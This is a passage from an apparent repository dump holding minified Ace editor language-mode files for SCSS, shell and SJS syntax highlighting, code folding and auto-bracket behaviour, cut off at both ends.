w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/scss\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/scss_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./scss_highlight_rules\").ScssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/css\").CssBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/scss\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-sh.js",
    "content": "define(\"ace/mode/sh_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=t.reservedKeywords=\"!|{|}|case|do|done|elif|else|esac|fi|for|if|in|then|until|while|&|;|export|local|read|typeset|unset|elif|select|set|function|declare|readonly\",o=t.languageConstructs=\"[|]|alias|bg|bind|break|builtin|cd|command|compgen|complete|continue|dirs|disown|echo|enable|eval|exec|exit|fc|fg|getopts|hash|help|history|jobs|kill|let|logout|popd|printf|pushd|pwd|return|set|shift|shopt|source|suspend|test|times|trap|type|ulimit|umask|unalias|wait\",u=function(){var e=this.createKeywordMapper({keyword:s,\"support.function.builtin\":o,\"invalid.deprecated\":\"debugger\"},\"identifier\"),t=\"(?:(?:[1-9]\\\\d*)|(?:0))\",n=\"(?:\\\\.\\\\d+)\",r=\"(?:\\\\d+)\",i=\"(?:(?:\"+r+\"?\"+n+\")|(?:\"+r+\"\\\\.))\",u=\"(?:(?:\"+i+\"|\"+r+\")\"+\")\",a=\"(?:\"+u+\"|\"+i+\")\",f=\"(?:&\"+r+\")\",l=\"[a-zA-Z_][a-zA-Z0-9_]*\",c=\"(?:\"+l+\"=)\",h=\"(?:\\\\$(?:SHLVL|\\\\$|\\\\!|\\\\?))\",p=\"(?:\"+l+\"\\\\s*\\\\(\\\\))\";this.$rules={start:[{token:\"constant\",regex:/\\\\./},{token:[\"text\",\"comment\"],regex:/(^|\\s)(#.*)$/},{token:\"string\",regex:'\"',push:[{token:\"constant.language.escape\",regex:/\\\\(?:[$`\"\\\\]|$)/},{include:\"variables\"},{token:\"keyword.operator\",regex:/`/},{token:\"string\",regex:'\"',next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string\",regex:\"\\\\$'\",push:[{token:\"constant.language.escape\",regex:/\\\\(?:[abeEfnrtv\\\\'\"]|x[a-fA-F\\d]{1,2}|u[a-fA-F\\d]{4}([a-fA-F\\d]{4})?|c.|\\d{1,3})/},{token:\"string\",regex:\"'\",next:\"pop\"},{defaultToken:\"string\"}]},{regex:\"<<<\",token:\"keyword.operator\"},{stateName:\"heredoc\",regex:\"(<<-?)(\\\\s*)(['\\\"`]?)([\\\\w\\\\-]+)(['\\\"`]?)\",onMatch:function(e,t,n){var r=e[2]==\"-\"?\"indentedHeredoc\":\"heredoc\",i=e.split(this.splitRegex);return n.push(r,i[4]),[{type:\"constant\",value:i[1]},{type:\"text\",value:i[2]},{type:\"string\",value:i[3]},{type:\"support.class\",value:i[4]},{type:\"string\",value:i[5]}]},rules:{heredoc:[{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}],indentedHeredoc:[{token:\"string\",regex:\"^\t+\"},{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}]}},{regex:\"$\",token:\"empty\",next:function(e,t){return t[0]===\"heredoc\"||t[0]===\"indentedHeredoc\"?t[0]:e}},{token:[\"keyword\",\"text\",\"text\",\"text\",\"variable\"],regex:/(declare|local|readonly)(\\s+)(?:(-[fixar]+)(\\s+))?([a-zA-Z_][a-zA-Z0-9_]*\\b)/},{token:\"variable.language\",regex:h},{token:\"variable\",regex:c},{include:\"variables\"},{token:\"support.function\",regex:p},{token:\"support.function\",regex:f},{token:\"string\",start:\"'\",end:\"'\"},{token:\"constant.numeric\",regex:a},{token:\"constant.numeric\",regex:t+\"\\\\b\"},{token:e,regex:\"[a-zA-Z_][a-zA-Z0-9_]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\*\\\\*|\\\\/|\\\\/\\\\/|~|<|>|<=|=>|=|!=|[%&|`]\"},{token:\"punctuation.operator\",regex:\";\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]]\"},{token:\"paren.rparen\",regex:\"[\\\\)\\\\}]\",next:\"pop\"}],variables:[{token:\"variable\",regex:/(\\$)(\\w+)/},{token:[\"variable\",\"paren.lparen\"],regex:/(\\$)(\\()/,push:\"start\"},{token:[\"variable\",\"paren.lparen\",\"keyword.operator\",\"variable\",\"keyword.operator\"],regex:/(\\$)(\\{)([#!]?)(\\w+|[*@#?\\-$!0_])(:[?+\\-=]?|##?|%%?|,,?\\/|\\^\\^?)?/,push:\"start\"},{token:\"variable\",regex:/\\$[*@#?\\-$!0_]/},{token:[\"variable\",\"paren.lparen\"],regex:/(\\$)(\\{)/,push:\"start\"}]},this.normalizeRules()};r.inherits(u,i),t.ShHighlightRules=u}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/sh\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/sh_highlight_rules\",\"ace/range\",\"ace/mode/folding/cstyle\",\"ace/mode/behaviour/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./sh_highlight_rules\").ShHighlightRules,o=e(\"../range\").Range,u=e(\"./folding/cstyle\").FoldMode,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=function(){this.HighlightRules=s,this.foldingRules=new u,this.$behaviour=new a};r.inherits(f,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[\\:]\\s*$/);o&&(r+=n)}return r};var e={pass:1,\"return\":1,raise:1,\"break\":1,\"continue\":1};this.checkOutdent=function(t,n,r){if(r!==\"\\r\\n\"&&r!==\"\\r\"&&r!==\"\\n\")return!1;var i=this.getTokenizer().getLineTokens(n.trim(),t).tokens;if(!i)return!1;do var s=i.pop();while(s&&(s.type==\"comment\"||s.type==\"text\"&&s.value.match(/^\\s+$/)));return s?s.type==\"keyword\"&&e[s.value]:!1},this.autoOutdent=function(e,t,n){n+=1;var r=this.$getIndent(t.getLine(n)),i=t.getTabString();r.slice(-i.length)==i&&t.remove(new o(n,r.length-i.length,n,r.length))},this.$id=\"ace/mode/sh\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-sjs.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]